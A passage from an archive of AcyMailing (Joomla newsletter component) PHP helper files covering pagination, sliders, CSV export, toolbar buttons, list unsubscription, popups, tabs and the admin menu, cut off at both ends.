					if(this.value > '.$nbPages.') this.value = '.$nbPages.';
					var selectedPage = this.value-1;
					document.adminForm.limitstart.value = selectedPage*'.$this->value.';
					acymailing.submitform();
				}
			});
		});');
		$input = '<input id="acypagination" type="text" value="'.($this->start/$this->value+1).'" onkeyup="" />';

		$pagination .= '<li class="selectedPage">'.acymailing_translation_sprintf('ACY_PAGINATION_PAGE', $input, $nbPages).'</li>';

		$lastPage = floor(($this->total-1)/$this->value)*$this->value;

		$onclick = $this->start < $lastPage ? '" onclick="document.adminForm.limitstart.value='.($this->start+$this->value).'; acymailing.submitform();"' : ' acypaginactive"';
		$pagination .= '<li><span class="acyicon-forward'.$onclick.'></span></li>';
		$onclick = $this->start < $lastPage ? '" onclick="document.adminForm.limitstart.value='.$lastPage.'; acymailing.submitform();"' : ' acypaginactive"';
		$pagination .= '<li><span class="acyicon-last'.$onclick.'></span></li></ul>';
		return $pagination;
	}

	function getResultsCounter(){
		if(empty($this->total)) return '<div class="acypagination_counter">'.acymailing_translation('ACY_PAGINATION_NONE').'</div>';
		$from = $this->start+1;
		$to = $this->start+$this->value;
		if($to > $this->total) $to = $this->total;

		$paginationNb = array();
		$paginationNb[] = acymailing_selectOption(5,5);
		$paginationNb[] = acymailing_selectOption(10,10);
		$paginationNb[] = acymailing_selectOption(15,15);
		$paginationNb[] = acymailing_selectOption(20,20);
		$paginationNb[] = acymailing_selectOption(25,25);
		$paginationNb[] = acymailing_selectOption(30,30);
		$paginationNb[] = acymailing_selectOption(50,50);
		$paginationNb[] = acymailing_selectOption(100,100);

		$result = '<div class="acypagination_counter">'.acymailing_translation('DISPLAY').' # ';
		$onChange = 'if(document.adminForm.limitstart){ document.adminForm.limitstart.value = 0;} document.getElementById(\'adminForm\').submit();';
		$result .= acymailing_select($paginationNb, 'limit' , 'size="1" style="width:60px" onchange="'.$onChange.'"', 'value', 'text', $this->value).'<br />';
		return $result.acymailing_translation_sprintf('ACY_PAGINATION', $from, $to, $this->total).'</div>';
	}

	function getRowOffset($i){
		return $this->start + 1 + $i;
	}
}

class acyParameter {
	function __construct($params = null){
		if(is_string($params)) {
			if (ACYMAILING_J16) {
				$this->params = json_decode($params);
			} else {
				$params = explode("\n", $params);
				foreach ($params as $oneParam) {
					if (empty($oneParam)) continue;
					list($key, $val) = explode('=', $oneParam, 2);
					$this->params->$key = $val;
				}
			}
		}elseif(is_object($params)){
			$this->paramObject = $params;
		}elseif(is_array($params)){
			$this->params = (object) $params;
		}
	}

	function get($path, $default = null){
		if(empty($this->paramObject)) {
			if (empty($this->params->$path)) return $default;
			return $this->params->$path;
		}else{
			$value = $this->paramObject->get($path, 'noval');
			if($value === 'noval') $value = $this->paramObject->get('data.'.$path, $default);
			return $value;
		}
	}
}
com_acymailing/helpers/acysliders.php000060400000006130152455305300014032 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.7.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class acyslidersHelper {
	var $ctrl = 'sliders';
	var $tabs = null;
	var $openPanel = false;
	var $mode = null;
	var $count = 0;
	var $name = '';
	var $options = null;

	function __construct() {
		if(!ACYMAILING_J16) {
			$this->mode = 'pane';
		} elseif(!ACYMAILING_J30) {
			$this->mode = 'sliders';
		} else {
			$this->mode = 'bootstrap';
		}
	}

	function startPane($name) { return $this->start($name); }
	function startPanel($text, $id) { return $this->panel($text, $id); }
	function endPanel() { return ''; }
	function endPane() { return $this->end(); }

	function setOptions($options = array()) {
		if($this->options == null)
			$this->options = $options;
		else
			$this->options = array_merge($this->options, $options);
	}

	function start($name, $options = array()) {
		$ret = '';
		if($this->mode == 'pane') {
			jimport('joomla.html.pane');
			if(!empty($this->options))
				$options = array_merge($options, $this->options);
			$this->tabs = JPane::getInstance('sliders', $options);
			$ret .= $this->tabs->startPane($name);
		} elseif($this->mode == 'sliders') {
			if(!empty($this->options))
				$options = array_merge($options, $this->options);
			$ret .= JHtml::_('sliders.start', $name, $options);
		} else {
			if($this->options == null)
				$this->options = $options;
			else
				$this->options = array_merge($this->options, $options);
			$this->name = $name;
			$this->count = 0;
			$ret .= '<div class="accordion" id="'.$name.'">';
		}
		return $ret;
	}

	function panel($text, $id) {
		$ret = '';
		if($this->mode == 'pane') {
			if($this->openPanel)
				$ret .= $this->tabs->endPanel();
			$ret .= $this->tabs->startPanel($text, $id);
			$this->openPanel = true;
		} elseif($this->mode == 'sliders') {
			$ret .= JHtml::_('sliders.panel', acymailing_translation($text), $id);
		} else {
			if($this->openPanel)
				$ret .= $this->_closePanel();

			$open = '';
			if((isset($this->options['startOffset']) && $this->options['startOffset'] == $this->count) || $this->count == 0)
				$open = ' in';
			$this->count++;
			$ret .= '
<div class="accordion-group">
    <div class="accordion-heading">
      <a class="accordion-toggle" data-toggle="collapse" data-parent="#'.$this->name.'" href="#'.$id.'">
        '.$text.'
      </a>
    </div>
    <div id="'.$id.'" class="accordion-body collapse'.$open.'">
      <div class="accordion-inner">
';
			$this->openPanel = true;
		}
		return $ret;
	}

	function _closePanel() {
		if(!$this->openPanel)
			return '';
		$this->openPanel = false;
		return '</div></div></div>';
	}

	function end() {
		$ret = '';
		if($this->mode == 'pane') {
			if($this->openPanel)
				$ret .= $this->tabs->endPanel();
			$ret .= $this->tabs->endPane();
		} elseif($this->mode == 'sliders') {
			$ret .= JHtml::_('sliders.end');
		} else {
			if($this->openPanel)
				$ret .= $this->_closePanel();
			$ret .= '</div>';
		}
		return $ret;
	}
}
com_acymailing/helpers/export.php000060400000002616152455305300013216 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acyexportHelper{

	function addHeaders($fileName = 'export'){
		$fileName = substr(preg_replace('#[^a-z0-9_-]#i','_',$fileName),0,50);
 		@ob_clean();

		header("Pragma: public");
		header("Expires: 0"); // set expiration time
		header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

		header("Content-Type: application/force-download");
		header("Content-Type: application/octet-stream");
		header("Content-Type: application/download");

		header("Content-Disposition: attachment; filename=".$fileName.".csv");

		header("Content-Transfer-Encoding: binary");
	}

	function exportOneData(&$exportdata,$fileName='export'){

		$config = acymailing_config();
		$encodingClass = acymailing_get('helper.encoding');

		$this->addHeaders($fileName);

		$eol= "\r\n";
		$before = '"';
		$separator = '"'.str_replace(array('semicolon','comma'),array(';',','), $config->get('export_separator',';')).'"';
		$exportFormat = $config->get('export_format','UTF-8');
		$after = '"';

		foreach($exportdata as $name => $total ){
			echo $before.$encodingClass->change($name.$separator.$total,'UTF-8',$exportFormat).$after.$eol;
		}

		exit;
	}
}
com_acymailing/helpers/toolbar.php000060400000016424152455305300013341 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acytoolbarHelper{
	var $buttons = array();
	var $buttonOptions = array();
	var $title = '';
	var $titleLink = '';

	var $topfixed = true;

	var $htmlclass = '';

	function setTitle($name, $link = ''){
		$this->title = $name;
		$this->titleLink = $link;
		acymailing_setPageTitle($name);
	}

	function custom($task, $text, $class, $listSelect = true, $onClick = '', $title = ''){

		$submit = "acymailing.submitbutton('".$task."')";
		$js = !empty($listSelect) ? "if(document.adminForm.boxchecked.value==0){alert('".str_replace(array("'", '"'), array("\'", '\"'), acymailing_translation('ACY_SELECT_ELEMENT'))."');return false;}else{".$submit."}" : $submit;

		$onClick = !empty($onClick) ? $onClick : $js;
		if(empty($title)) $title = $text;

		$button = '<button id="toolbar-'.$class.'" onclick="'.$onClick.'" class="acytoolbar_'.$class.'" title="'.$title.'"><i class="acyicon-'.$class.'"></i><span>'.$text.'</span></button>';
		if(empty($this->buttonOptions)){
			$this->buttons[] = $button;
			return;
		}

		$dropdownOptions = '<ul class="buttonOptions" style="margin: 0px; text-align: left;">';
		foreach($this->buttonOptions as $oneOption){
			$dropdownOptions .= '<li>'.$oneOption.'</li>';
		}
		$dropdownOptions .= '</ul>';

		$buttonArea = $button;


		$this->buttons[] = '<div style="display:inline;" class="subbuttonactions">'.$buttonArea.'<span class="acytoolbar_hover acybuttongroup_'.$class.'"><span style="vertical-align: top; display:inline-block; padding-top:10px;" class="acyicon-down"></span><span class="acytoolbar_hover_display">'.$dropdownOptions.'</span></span></div>';

		$this->buttonOptions = array();
	}

	function display(){
		acymailing_addScript(false, ACYMAILING_JS.'acytoolbar.js?v='.filemtime(ACYMAILING_MEDIA.'js'.DS.'acytoolbar.js'));
		acymailing_addStyle(true, '#system-message-container, #system-message{display:none;}');
		
		$classCtrl = acymailing_getVar('cmd', 'ctrl', '');
		echo '<div id="acymenu_top" class="acytoolbarmenu donotprint '.(empty($this->topfixed) ? '' : 'acyaffix-top ').(!empty($classCtrl) ? 'acytopmenu_'.$classCtrl.' ' : '').$this->htmlclass.'" >';
		echo '<table cellspacing="0" border="0" cellpadding="0" style="width: 100%;height: 40px;">
				<colgroup>
					<col width="100%" />
					<col width="0%" />
				</colgroup>
				<tr><td class="acytoolbartitle">';
		if(!empty($this->title)){
			$title = htmlspecialchars($this->title, ENT_COMPAT, 'UTF-8');
			if(!empty($this->titleLink)) $title = '<a style="color:white;" href="'.acymailing_completeLink($this->titleLink).'">'.$title.'</a>';
			echo $title;
		}
		echo '</td><td style="white-space: nowrap;" class="acytoolbarmenu_menu">';
		echo implode(' ', $this->buttons);
		echo '</td></tr></table></div>';

		acymailing_displayMessages();  
		if(!empty($this->topfixed)) acymailing_navigationTabs();
	}

	function add(){
		$this->custom('add', acymailing_translation('ACY_NEW'), 'new', false);
	}

	function edit(){
		$this->custom('edit', acymailing_translation('ACY_EDIT'), 'edit', true);
	}

	function delete(){
		$onClick = 'if(document.adminForm.boxchecked.value==0){
						alert(\''.str_replace("'", "\\'", acymailing_translation('ACY_SELECT_ELEMENT')).'\');
					}else{
						if(confirm(\''.str_replace("'", "\\'", acymailing_translation('ACY_VALIDDELETEITEMS', true)).'\')){
							acymailing.submitbutton(\'remove\');
						}
					}';
		$this->custom('remove', acymailing_translation('ACY_DELETE'), 'delete', true, $onClick);
	}

	function copy(){
		$this->custom('copy', acymailing_translation('ACY_COPY'), 'copy', true);
	}

	function link($link, $text, $class){
		$onClick = "location.href='".$link."';return false;";
		$this->custom('link', $text, $class, false, $onClick);
	}

	function help($helpname, $anchor = ''){
		$config = acymailing_config();
		$level = $config->get('level');

		$url = ACYMAILING_HELPURL.$helpname.'&level='.$level.(!empty($anchor) ? '#'.$anchor : '');
		$iFrame = "'<iframe frameborder=\"0\" src=\'$url\' width=\'100%\' height=\'100%\' scrolling=\'auto\'></iframe>'";

		$js = "var openHelp = true;
				function displayDoc(){
					var box=document.getElementById('iframedoc');
					if(openHelp){
						box.innerHTML = ".$iFrame.";
						box.className = 'slide_open';
					}else{
						box.className = 'slide_close';
					}
					openHelp = !openHelp;
				}";
		acymailing_addScript(true, $js);

		$onClick = 'displayDoc();return false;';

		$this->custom('help', acymailing_translation('ACY_HELP'), 'help', false, $onClick);
	}

	function divider(){
		$this->buttons[] = '<span class="acytoolbar_divider"></span>';
	}

	function cancel(){
		$this->custom('cancel', acymailing_translation('ACY_CANCEL'), 'cancel', false);
	}

	function save(){
		$this->custom('save', acymailing_translation('ACY_SAVE'), 'save', false);
	}

	function apply(){
		$this->custom('apply', acymailing_translation('ACY_APPLY'), 'apply', false);
	}

	function popup($name = '', $text = '', $url = '', $width = 0, $height = 480){
		$this->buttons[] = $this->_popup($name, $text, $url, $width, $height);
	}

	function directPrint(){
		$this->buttons[] = $this->_directPrint();
	}

	private function _popup($name = '', $text = '', $url = '', $width = 0, $height = 480){
		$ids = '';
		if(in_array($name, array('ABtesting', 'action'))){
			$js = "
			function getAcyPopupUrl(){
				i = 0;
				ids = '';
				while(window.document.getElementById('cb'+i)){
					if(window.document.getElementById('cb'+i).checked) ids += window.document.getElementById('cb'+i).value+',';
					i++;
				}
				return ids.slice(0,-1);
			}";
			acymailing_addScript(true, $js);

			if($name == 'ABtesting'){
				$ids = '&mailid=';
			}elseif($name == 'action'){
				$ids = '&subid=';
			}

			$ids .= "'+getAcyPopupUrl()+'";
		}

		return acymailing_popup($url.$ids, '<button id="toolbar-'.$name.'" class="acytoolbar_'.$name.'" title="'.$text.'"><i class="acyicon-'.$name.'"></i><span>'.$text.'</span></button>', '', $width, $height, 'a_'.$name);
	}

	private function _directPrint(){

		acymailing_addStyle(false, ACYMAILING_CSS.'acyprint.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'acyprint.css'), 'text/css', 'print');

		$function = "if(document.getElementById('iframepreview')){document.getElementById('iframepreview').contentWindow.focus();document.getElementById('iframepreview').contentWindow.print();}else{window.print();}return false;";

		return '<button class="acytoolbar_print" onclick="'.$function.'" title="'.acymailing_translation('ACY_PRINT', true).'"><i class="acyicon-print"></i><span>'.acymailing_translation('ACY_PRINT', true).'</span></button>';
	}

	function addButtonOption($task, $text, $class, $listSelect, $onClick = ''){

		$submit = "acymailing.submitbutton('".$task."')";
		$js = !empty($listSelect) ? "if(document.adminForm.boxchecked.value==0){alert('".str_replace(array("'", '"'), array("\'", '\"'), acymailing_translation('ACY_SELECT_ELEMENT'))."');return false;}else{".$submit."}" : $submit;

		$onClick = !empty($onClick) ? $onClick : $js;

		$this->buttonOptions[] = '<button onclick="'.$onClick.'" class="acytoolbar_'.$class.'" title="'.$text.'"><span class="acyicon-'.$class.'"></span><span>'.$text.'</span></button>';
	}
}
com_acymailing/helpers/list.php000060400000005510152455305300012644 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acylistHelper{

	var $sendNotif = true;
	var $sendConf = true;
	var $forceConf = false;
	var $survey = '';
	var $campaigndelay = 0;
	var $skipedfollowups = 0;

	function subscribe($subid,$listids){


		acymailing_importPlugin('acymailing');
		$resultsTrigger = acymailing_trigger('onAcySubscribe', array($subid, $listids));

	}//endfct

	function unsubscribe($subid,$listids){

		if(acymailing_level(3)){
			$campaignClass = acymailing_get('helper.campaign');
			$campaignClass->stop($subid,$listids);
		}

		$config = acymailing_config();
		static $alreadySent = false;
		if($this->sendNotif AND !$alreadySent AND $config->get('notification_unsub') AND !acymailing_isAdmin()){
			$alreadySent = true;
			$mailer = acymailing_get('helper.mailer');
			$mailer->report = false;
			$mailer->autoAddUser = true;
			$mailer->checkConfirmField = false;
			$userClass = acymailing_get('class.subscriber');
			$subscriber = $userClass->get($subid);
			$ipClass = acymailing_get('helper.user');
			$mailer->addParam('survey',$this->survey);
			$listSubClass= acymailing_get('class.listsub');
			$mailer->addParam('user:subscription',$listSubClass->getSubscriptionString($subscriber->subid));
			$mailer->addParam('user:subscriptiondates',$listSubClass->getSubscriptionString($subscriber->subid, true));
			$mailer->addParamInfo();
			$subscriber->ip = $ipClass->getIP();
			foreach($subscriber as $fieldname => $value) $mailer->addParam('user:'.$fieldname,$value);
			$allUsers = explode(',',$config->get('notification_unsub'));
			foreach($allUsers as $oneUser){
				$mailer->sendOne('notification_unsub',$oneUser);
			}
		}

		if($this->forceConf || ($this->sendConf AND !acymailing_isAdmin())){
			$messages = acymailing_loadResultArray('SELECT DISTINCT `unsubmailid` FROM '.acymailing_table('list').' WHERE `listid` IN ('.implode(',',$listids).') AND `published` = 1  AND `unsubmailid` > 0');

			if(!empty($messages)){
				$config = acymailing_config();
				$mailHelper = acymailing_get('helper.mailer');
				$mailHelper->report = $config->get('unsub_message',true);
				$mailHelper->checkAccept = false;
				foreach($messages as $mailid){
					$mailHelper->trackEmail = true;
					$mailHelper->sendOne($mailid,$subid);
				}
			}
		}//end only frontend

		acymailing_query('DELETE  FROM '.acymailing_table('queue').' WHERE `subid` = '.(int) $subid.' AND `mailid` IN (SELECT `mailid` FROM '.acymailing_table('listmail').' WHERE `listid` IN ('.implode(',',$listids).'))');

		acymailing_importPlugin('acymailing');
		$resultsTrigger = acymailing_trigger('onAcyUnsubscribe', array($subid, $listids));
	}
}//endclass
com_acymailing/helpers/acypopup.php000060400000003116152455305300013531 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acypopupHelper{

	function display($text, $title, $url, $id, $width, $height, $attr = '', $icon = '', $type = 'button', $dynamicUrl = false){
		static $loaded = false;

		if(!$loaded) {
			acymailing_addScript(false, ACYMAILING_JS . 'acymailing.js?v=' . filemtime(ACYMAILING_MEDIA . 'js' . DS . 'acymailing.js'));
			acymailing_addStyle(false, ACYMAILING_CSS . 'acypopup.css?v=' . filemtime(ACYMAILING_MEDIA . 'css' . DS . 'acypopup.css'));
			$loaded = true;
		}
		
		$params = ' id="'.$id.'" onclick="window.acymailing.openpopup(\''.$url.'\', '.intval($width).', '.intval($height).'); return false;"';
		if($type == 'button'){
			$html = '<button '.$this->getAttr($attr, 'btn btn-small').$params.'>';
		}else{
			$html = '<a '.$attr.' href="#"'.$params.'>';
		}

		if(!empty($icon)){
			$html .= '<i class="icon-16-'.$icon.'"></i> ';
		}
		$html .= $text.(($type == 'button') ? '</button>' : '</a>');

		return $html;
	}

	function getAttr($attr, $class){
		if(empty($attr)){
			return 'class="'.$class.'"';
		}
		$attr = ' '.$attr;
		if(strpos($attr, ' class="') !== false){
			$attr = str_replace(' class="', ' class="'.$class.' ', $attr);
		}elseif(strpos($attr, ' class=\'') !== false){
			$attr = str_replace(' class=\'', ' class=\''.$class.' ', $attr);
		}else{
			$attr .= ' class="'.$class.'"';
		}
		return trim($attr);
	}
}
com_acymailing/helpers/acytabs.php000060400000006123152455305300013320 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acytabsHelper{
	var $openPanel = false;
	var $data = array();
	var $name = '';

	function __construct(){
	}

	function startPane($name){
		$this->name = $name;
	}

	function startPanel($text, $id){
		if($this->openPanel) $this->endPanel();

		$obj = new stdClass();
		$obj->text = $text;
		$obj->id = $id;
		$obj->data = '';
		$this->data[] = $obj;
		ob_start();
		$this->openPanel = true;
	}

	function endPanel(){
		if(!$this->openPanel) return;

		$panel = end($this->data);
		$panel->data .= ob_get_clean();
		$this->openPanel = false;
	}

	function endPane(){
		$ret = '';
		$content = '';

		if($this->openPanel) $this->endPanel();

		$ret .= '<div style="margin-left:10px;" class="acytabsystem"><ul class="nav nav-tabs" id="'.$this->name.'" style="width:100%;">'."\r\n";
		foreach($this->data as $k => $data){
			$ret .= '	<li'.($k == 0 ? ' class="active"' : '').' id="'.$data->id.'_tabli"><a href="#'.$data->id.'" id="'.$data->id.'_tablink" onclick="toggleTab(\''.$this->name.'\', \''.$data->id.'\');return false;">'.acymailing_translation($data->text).'</a></li>'."\r\n";

			$content .= '	<div class="tab-pane'.($k == 0 ? ' active' : '').'" id="'.$data->id.'">'."\r\n".$data->data."\r\n".'	</div>'."\r\n";
			unset($data->data);
		}
		$ret .= '</ul>'."\r\n".'<div class="tab-content" id="'.$this->name.'_content">'."\r\n";
		$ret .= $content.'</div></div>';
		unset($this->data);

		static $jsInit = false;
		if(!$jsInit){
			$jsInit = true;
			$js = '
			
			document.addEventListener("DOMContentLoaded", function(){
				var selectedTab = localStorage.getItem("acy'.$this->name.'");
				if(selectedTab && document.getElementById(selectedTab)){
					var selectedLi = document.getElementById("'.$this->name.'").querySelector("li.active");
					var selectedContent = document.getElementById("'.$this->name.'_content").querySelector("div.tab-pane.active");
					selectedLi.className = selectedLi.className.replace("active", "");
					selectedContent.className = selectedContent.className.replace("active", "");
					
					document.getElementById(selectedTab+"_tabli").className += " active";
					document.getElementById(selectedTab).className += " active";
				}
			});
				
			function toggleTab(group, id){
				localStorage.setItem("acy"+group, id);
			
				var contentTabs = document.querySelectorAll("#"+group+"_content > div");
				for (i = 0; i < contentTabs.length; i++) {
					contentTabs[i].className = contentTabs[i].className.replace("active", "");
				}
				document.getElementById(id).className += " active";
				var groupTabs = document.querySelectorAll("#"+group+" > li");
				for (i = 0; i < groupTabs.length; i++) {
					groupTabs[i].className = groupTabs[i].className.replace("active", "");
				}
				document.getElementById(id+"_tablink").parentElement.className += " active";
				
			}';
			acymailing_addScript(true, $js);
		}

		return $ret;
	}
}
com_acymailing/helpers/acymenu.php000060400000032524152455305300013337 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acymenuHelper{
	function display($selected = ''){

		if(!ACYMAILING_J16){
			acymailing_addStyle(true, " #submenu-box{display:none !important;} ");
		}

		$js = "function acyToggleClass(id,myclass){
			elem = document.getElementById(id);
			if(elem.className.search(myclass) < 0){

				var elements = document.querySelectorAll('.mainelement');

				for(var i = 0; i < elements.length;i++){
					elements[i].className = elements[i].className.replace('opened','');
				}
				elem.className += ' '+myclass;
				if(myclass == 'iconsonly') sessionStorage.setItem('acyclosedmenu', '1');
			}else{
				elem.className = elem.className.replace(' '+myclass,'');
				if(myclass == 'iconsonly') sessionStorage.setItem('acyclosedmenu', '0');
			}
		}

		document.addEventListener(\"DOMContentLoaded\", function(){
			var isClosed = sessionStorage.getItem('acyclosedmenu');
			if(isClosed == 1) acyToggleClass('acyallcontent', 'iconsonly');
			setTimeout(function () {
				document.getElementById('acymainarea').style.transition = 'margin 0.4s cubic-bezier(0.00, 0.00, 1, 1.00)';
				document.getElementById('acymenu_leftside').style.transition = 'width 0.4s cubic-bezier(0.00, 0.00, 1, 1.00)';
			}, 1000);
		});

		function acyAddClass(id,myclass){
			elem = document.getElementById(id);
			if(elem.className.search(myclass)>=0) return;
			elem.className += ' '+myclass;
		}

		function acyRemoveClass(id,myclass){
			elem = document.getElementById(id);
			elem.className = elem.className.replace(' '+myclass,'');
		}
		
		function onButtonNewVersionPlugin(){
			localStorage.setItem('acyconfig_tab', 'config_plugins');
		}
		
		";

		if(acymailing_isAdmin()){
			acymailing_addScript(false, ACYMAILING_JS.'acytoolbar.js?v='.filemtime(ACYMAILING_MEDIA.'js'.DS.'acytoolbar.js'));
		}

		acymailing_addScript(true, $js);
		$selected = substr($selected, 0, 5);
		if($selected == 'data' || $selected == 'data&' || $selected == 'filte') $selected = 'subsc';
		if($selected == 'list' || $selected == 'actio') $selected = 'list';
		if($selected == 'campa' || $selected == 'templ' || $selected == 'auton' || $selected == 'notif' || $selected == 'simpl') $selected = 'newsl';
		if($selected == 'diagr') $selected = 'stats';
		if($selected == 'cpane' || $selected == 'field' || $selected == 'bounc') $selected = 'cpane';

		$config = acymailing_config();
		$mainmenu = array();
		$submenu = array();

		if(acymailing_isAllowed($config->get('acl_cpanel_manage', 'all'))){
			$mainmenu['dashboard'] = array(acymailing_translation('ACY_CPANEL'), acymailing_completeLink('dashboard'), 'acyicon-dashboard');
		}

		if(acymailing_isAllowed($config->get('acl_subscriber_manage', 'all'))){
			$mainmenu['subscriber'] = array(acymailing_translation('USERS'), acymailing_completeLink('subscriber'), 'acyicon-user');
			$submenu['subscriber'] = array();
			$submenu['subscriber'][] = array(acymailing_translation('USERS'), acymailing_completeLink('subscriber'), 'acyicon-user');
			if(acymailing_isAllowed($config->get('acl_subscriber_import', 'all'))) $submenu['subscriber'][] = array(acymailing_translation('IMPORT'), acymailing_completeLink('data&task=import'), 'acyicon-import');
			if(acymailing_isAllowed($config->get('acl_subscriber_export', 'all'))) $submenu['subscriber'][] = array(acymailing_translation('ACY_EXPORT'), acymailing_completeLink('data&task=export'), 'acyicon-export');
			if(acymailing_isAllowed($config->get('acl_lists_filter', 'all'))) $submenu['subscriber'][] = array(acymailing_translation('ACY_MASS_ACTIONS'), acymailing_completeLink('filter'), 'acyicon-filter');
		}

		if(acymailing_isAllowed($config->get('acl_lists_manage', 'all'))){
			$mainmenu['list'] = array(acymailing_translation('LISTS'), acymailing_completeLink('list'), 'acyicon-list');
			$submenu['list'] = array();
			$submenu['list'][] = array(acymailing_translation('LISTS'), acymailing_completeLink('list'), 'acyicon-list');
			if(acymailing_isAllowed($config->get('acl_distribution_manage', 'all'))){
				$submenu['list'][] = array(acymailing_translation('ACY_DISTRIBUTION'), acymailing_completeLink('action'), 'acyicon-distribution');
			}
		}

		if(acymailing_isAllowed($config->get('acl_newsletters_manage', 'all'))){
			$mainmenu['newsletter'] = array(acymailing_translation('NEWSLETTERS'), acymailing_completeLink('newsletter'), 'acyicon-newsletter');
			$submenu['newsletter'] = array();
			$submenu['newsletter'][] = array(acymailing_translation('NEWSLETTERS'), acymailing_completeLink('newsletter'), 'acyicon-newsletter');
			if(acymailing_level(2) && acymailing_isAllowed($config->get('acl_autonewsletters_manage', 'all'))){
				$submenu['newsletter'][] = array(acymailing_translation('AUTONEWSLETTERS'), acymailing_completeLink('autonews'), 'acyicon-autonewsletter');
			}
			if(acymailing_level(3) && acymailing_isAllowed($config->get('acl_campaign_manage', 'all'))){
				$submenu['newsletter'][] = array(acymailing_translation('CAMPAIGN'), acymailing_completeLink('campaign'), 'acyicon-campaign');
			}
			if(acymailing_level(1) && acymailing_isAllowed($config->get('acl_configuration_manage', 'all')) && (!ACYMAILING_J16 || acymailing_authorised('core.admin', 'com_acymailing'))){
				$submenu['newsletter'][] = array(acymailing_translation('JOOMLA_NOTIFICATIONS'), acymailing_completeLink('notification'), 'acyicon-joomla');
			}
			if(acymailing_level(3) && acymailing_isAllowed($config->get('acl_simple_sending_manage', 'all'))){
				$submenu['newsletter'][] = array(acymailing_translation('SIMPLE_SENDING'), acymailing_completeLink('simplemail&task=edit'), 'acyicon-send');
			}


			if(acymailing_isAllowed($config->get('acl_templates_manage', 'all'))) $submenu['newsletter'][] = array(acymailing_translation('ACY_TEMPLATES'), acymailing_completeLink('template'), 'acyicon-template');
		}

		if(acymailing_isAllowed($config->get('acl_queue_manage', 'all'))) $mainmenu['queue'] = array(acymailing_translation('QUEUE'), acymailing_completeLink('queue'), 'acyicon-queue');

		if(acymailing_isAllowed($config->get('acl_statistics_manage', 'all'))){
			$mainmenu['stats'] = array(acymailing_translation('STATISTICS'), acymailing_completeLink('stats'), 'acyicon-statistic');
			$submenu['stats'] = array();
			$submenu['stats'][] = array(acymailing_translation('STATISTICS'), acymailing_completeLink('stats'), 'acyicon-statistic');
			$submenu['stats'][] = array(acymailing_translation('DETAILED_STATISTICS'), acymailing_completeLink('stats&task=detaillisting'), 'acyicon-detailed-stat');
			if(acymailing_level(1)) $submenu['stats'][] = array(acymailing_translation('CLICK_STATISTICS'), acymailing_completeLink('statsurl'), 'acyicon-click');
			if(acymailing_level(1)) $submenu['stats'][] = array(acymailing_translation('CHARTS'), acymailing_completeLink('diagram'), 'acyicon-chart');
		}
		if(acymailing_isAllowed($config->get('acl_configuration_manage', 'all')) && (!ACYMAILING_J16 || acymailing_authorised('core.admin', 'com_acymailing'))){
			$mainmenu['cpanel'] = array(acymailing_translation('ACY_CONFIGURATION'), acymailing_completeLink('cpanel'), 'acyicon-configuration');
			$submenu['cpanel'] = array();
			$submenu['cpanel'][] = array(acymailing_translation('ACY_CONFIGURATION'), acymailing_completeLink('cpanel'), 'acyicon-configuration');
			$submenu['cpanel'][] = array(acymailing_translation('EXTRA_FIELDS'), acymailing_completeLink('fields'), 'acyicon-custom-field');
			$submenu['cpanel'][] = array(acymailing_translation('BOUNCE_HANDLING'), acymailing_completeLink('bounces'), 'acyicon-bounce');
		}
		
		acymailing_addStyle(false, ACYMAILING_CSS.'acymenu.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'acymenu.css'));

		$acysmsLink = '';
		if(acymailing_isAllowed($config->get('acl_configuration_manage', 'all'))) $acysmsLink = '<a class="sendother" href="index.php?option=com_acymailing&ctrl=update&task=acysms">'.acymailing_translation('ACY_SMS').'&nbsp;&nbsp;<i class="acyicon-message"></i></a>';

		$menu = '<div id="acymenu_leftside" class="donotprint acyaffix-top">';
		$menu .= '<div class="acymenu_slide"><span>'.$acysmsLink.'<i class="acyicon-open-close" onclick="acyToggleClass(\'acyallcontent\',\'iconsonly\');"></i></span></div>';
		$menu .= '<div class="acymenu_mainmenus">';
		$menu .= '<ul>';
		foreach($mainmenu as $id => $oneMenu){
			$sel = '';
			if($selected == substr($id, 0, 5)) $sel = ' sel opened';
